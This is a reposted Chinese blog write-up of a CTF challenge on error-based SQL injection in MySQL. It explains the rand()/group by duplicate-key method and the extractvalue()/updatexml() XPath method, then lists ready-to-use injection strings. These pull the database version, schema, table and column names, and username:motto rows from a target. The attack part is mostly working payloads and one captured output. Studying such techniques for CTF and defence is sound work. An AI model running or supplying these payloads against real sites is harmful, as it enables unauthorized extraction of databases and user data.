基于错误回显的sql注入整理
由于复习,停了好几天,今天换换模式做了一下关于错误回显的ctf题目,首先附上题目:here
整理了一下网上的一些关于错误回显的方法,在这里就不带上地址了,请大牛们原谅:P
0x00 关于错误回显
用我自己的话来讲,基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上(当然在实际应用中得能回显在页面上,一般的网站都回避免这种情况,哈哈,要是能碰上你就偷着乐吧)。
0x01 用于错误回显的sql语句(下面的函数撸主只在mysql下试过也能成功,其他数据库有待考证,待有实例的时候会补充)
第一种: 基于 rand() 与 group by 的错误
首先看一下关于rand()函数与group by 在mysql中的错误报告,没错,我们就是要利用group by part of rand() returns duplicate key error这个bug。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了:P
公式:username=admin‘ and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1‘ = ‘1
第二种: XPATH爆信息
这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后
查看sql手册
语法:EXTRACTVALUE (XML_document, XPath_string);
公式1:username=admin‘ and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1‘=‘1公式2:username=admin‘ and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1‘=‘1
带上代码:payload id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)
username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1然后爆他的数据库版本 结果:5.1.61-Alibaba-rds-201404-log
username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1
username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1
username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name=‘motto‘ and table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1
username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。